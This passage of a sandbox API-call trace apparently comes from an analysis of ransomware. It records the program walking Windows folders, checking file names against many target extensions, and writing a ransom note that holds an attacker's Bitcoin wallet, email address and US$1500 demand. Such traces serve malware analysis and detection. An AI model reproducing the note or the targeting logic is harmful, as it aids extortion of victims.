(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.tlg") returned 0 [0103.897] lstrlenA (lpString="*.tlg") returned 5 [0103.897] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.lgb") returned 0 [0103.897] lstrlenA (lpString="*.lgb") returned 5 [0103.897] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.mov") returned 0 [0103.897] lstrlenA (lpString="*.mov") returned 5 [0103.897] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.xdw") returned 0 [0103.897] lstrlenA (lpString="*.xdw") returned 5 [0103.897] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.ods") returned 0 [0103.897] lstrlenA (lpString="*.ods") returned 5 [0103.897] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.wav") returned 0 [0103.897] lstrlenA (lpString="*.wav") returned 5 [0103.897] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.mp3") returned 0 [0103.897] lstrlenA (lpString="*.mp3") returned 5 [0103.898] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.aiff") returned 0 [0103.898] lstrlenA (lpString="*.aiff") returned 6 [0103.898] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.flac") returned 0 [0103.898] lstrlenA (lpString="*.flac") returned 6 [0103.898] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.m4a") returned 0 [0103.898] lstrlenA (lpString="*.m4a") returned 5 [0103.898] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.csv") returned 0 [0103.898] lstrlenA (lpString="*.csv") returned 5 [0103.898] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e61f4a5, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e61f4a5, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e61f4a5, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.WSMan.Runtime.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.898] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.898] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e66b765, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e66b765, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e66b765, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="86550fdda6994a9c192d7a0b9b59ee5b", cAlternateFileName="86550F~1")) returned 0 [0103.899] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0103.899] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b144bec, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5b144bec, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5b144bec, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="MIGUIControls", cAlternateFileName="MIGUIC~1")) returned 1 [0103.899] lstrcmpA (lpString1=".", lpString2="MIGUIControls") returned -1 [0103.899] lstrcmpA (lpString1="..", lpString2="MIGUIControls") returned -1 [0103.899] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0103.899] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="MIGUIControls" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls" [0103.899] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls") returned 60 [0103.899] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b144bec, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5b144bec, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5b144bec, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0103.900] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.900] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b144bec, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5b144bec, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5b144bec, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.900] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.900] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.900] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b144bec, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5b144bec, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5b144bec, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="569e273efda8306ec7e22143d5285476", cAlternateFileName="569E27~1")) returned 1 [0103.900] lstrcmpA (lpString1=".", lpString2="569e273efda8306ec7e22143d5285476") returned -1 [0103.900] lstrcmpA (lpString1="..", lpString2="569e273efda8306ec7e22143d5285476") returned -1 [0103.900] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\*.*") returned="*.*" [0103.900] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\", lpString2="569e273efda8306ec7e22143d5285476" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476" [0103.901] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476") returned 93 [0103.901] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b144bec, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5b144bec, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5b144bec, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.901] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.901] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b144bec, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5b144bec, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5b144bec, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.901] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.901] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.901] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5aee35e7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5aee35e7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5b03a24a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x624000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MIGUIControls.ni.dll", cAlternateFileName="MIGUIC~1.DLL")) returned 1 [0103.901] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.901] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MIGUIControls.ni.dll") returned -1 [0103.902] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MIGUIControls.ni.dll") returned -1 [0103.902] lstrcmpiA (lpString1="", lpString2="MIGUIControls.ni.dll") returned -1 [0103.902] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\*.*") returned="*.*" [0103.902] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\" [0103.902] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\") returned="" [0103.902] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\HOW TO DECRYPT FILES.txt" [0103.902] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\miguicontrols\\569e273efda8306ec7e22143d5285476\\how to decrypt files.txt")) returned 0xffffffff [0103.902] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\miguicontrols\\569e273efda8306ec7e22143d5285476\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.903] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0103.903] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.905] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.905] CloseHandle (hObject=0x90) returned 1 [0103.905] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\", lpString2="MIGUIControls.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll" [0103.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.ems") returned 0 [0103.906] lstrlenA (lpString="*.ems") returned 5 [0103.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.db") returned 0 [0103.906] lstrlenA (lpString="*.db") returned 4 [0103.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.dbf") returned 0 [0103.906] lstrlenA (lpString="*.dbf") returned 5 [0103.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.myox") returned 0 [0103.906] lstrlenA (lpString="*.myox") returned 6 [0103.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.myo") returned 0 [0103.906] lstrlenA (lpString="*.myo") returned 5 [0103.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.qbw") returned 0 [0103.906] lstrlenA (lpString="*.qbw") returned 5 [0103.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.qbb") returned 0 [0103.906] lstrlenA (lpString="*.qbb") returned 5 [0103.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.qbm") returned 0 [0103.906] lstrlenA (lpString="*.qbm") returned 5 [0103.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.qbo") returned 0 [0103.907] lstrlenA (lpString="*.qbo") returned 5 [0103.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.qbx") returned 0 [0103.907] lstrlenA (lpString="*.qbx") returned 5 [0103.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.qba") returned 0 [0103.907] lstrlenA (lpString="*.qba") returned 5 [0103.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.qby") returned 0 [0103.907] lstrlenA (lpString="*.qby") returned 5 [0103.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.qbj") returned 0 [0103.907] lstrlenA (lpString="*.qbj") returned 5 [0103.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.ofx") returned 0 [0103.907] lstrlenA (lpString="*.ofx") returned 5 [0103.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.qif") returned 0 [0103.907] lstrlenA (lpString="*.qif") returned 5 [0103.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.mye") returned 0 [0103.908] lstrlenA (lpString="*.mye") returned 5 [0103.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.mbox") returned 0 [0103.908] lstrlenA (lpString="*.mbox") returned 6 [0103.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.eml") returned 0 [0103.908] lstrlenA (lpString="*.eml") returned 5 [0103.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.pst") returned 0 [0103.908] lstrlenA (lpString="*.pst") returned 5 [0103.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.ost") returned 0 [0103.908] lstrlenA (lpString="*.ost") returned 5 [0103.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.idx") returned 0 [0103.908] lstrlenA (lpString="*.idx") returned 5 [0103.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.dbx") returned 0 [0103.909] lstrlenA (lpString="*.dbx") returned 5 [0103.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.sql") returned 0 [0103.909] lstrlenA (lpString="*.sql") returned 5 [0103.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.mdb") returned 0 [0103.909] lstrlenA (lpString="*.mdb") returned 5 [0103.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.fdb") returned 0 [0103.909] lstrlenA (lpString="*.fdb") returned 5 [0103.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.wab") returned 0 [0103.909] lstrlenA (lpString="*.wab") returned 5 [0103.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.dat") returned 0 [0103.909] lstrlenA (lpString="*.dat") returned 5 [0103.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.txt") returned 0 [0103.909] lstrlenA (lpString="*.txt") returned 5 [0103.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.jpeg") returned 0 [0103.910] lstrlenA (lpString="*.jpeg") returned 6 [0103.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.jpg") returned 0 [0103.910] lstrlenA (lpString="*.jpg") returned 5 [0103.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.png") returned 0 [0103.910] lstrlenA (lpString="*.png") returned 5 [0103.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.php") returned 0 [0103.910] lstrlenA (lpString="*.php") returned 5 [0103.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.cs") returned 0 [0103.910] lstrlenA (lpString="*.cs") returned 4 [0103.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.cpp") returned 0 [0103.910] lstrlenA (lpString="*.cpp") returned 5 [0103.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.rar") returned 0 [0103.910] lstrlenA (lpString="*.rar") returned 5 [0103.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.zip") returned 0 [0103.911] lstrlenA (lpString="*.zip") returned 5 [0103.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.html") returned 0 [0103.911] lstrlenA (lpString="*.html") returned 6 [0103.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.htm") returned 0 [0103.911] lstrlenA (lpString="*.htm") returned 5 [0103.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.xlsx") returned 0 [0103.911] lstrlenA (lpString="*.xlsx") returned 6 [0103.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.xls") returned 0 [0103.911] lstrlenA (lpString="*.xls") returned 5 [0103.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.mp4") returned 0 [0103.911] lstrlenA (lpString="*.mp4") returned 5 [0103.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.ppt") returned 0 [0103.911] lstrlenA (lpString="*.ppt") returned 5 [0103.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.pptx") returned 0 [0103.911] lstrlenA (lpString="*.pptx") returned 6 [0103.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.doc") returned 0 [0103.912] lstrlenA (lpString="*.doc") returned 5 [0103.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.dot") returned 0 [0103.912] lstrlenA (lpString="*.dot") returned 5 [0103.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.docx") returned 0 [0103.912] lstrlenA (lpString="*.docx") returned 6 [0103.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.7z") returned 0 [0103.912] lstrlenA (lpString="*.7z") returned 4 [0103.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.tar") returned 0 [0103.912] lstrlenA (lpString="*.tar") returned 5 [0103.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.bz2") returned 0 [0103.912] lstrlenA (lpString="*.bz2") returned 5 [0103.912] PathMatchSpecA 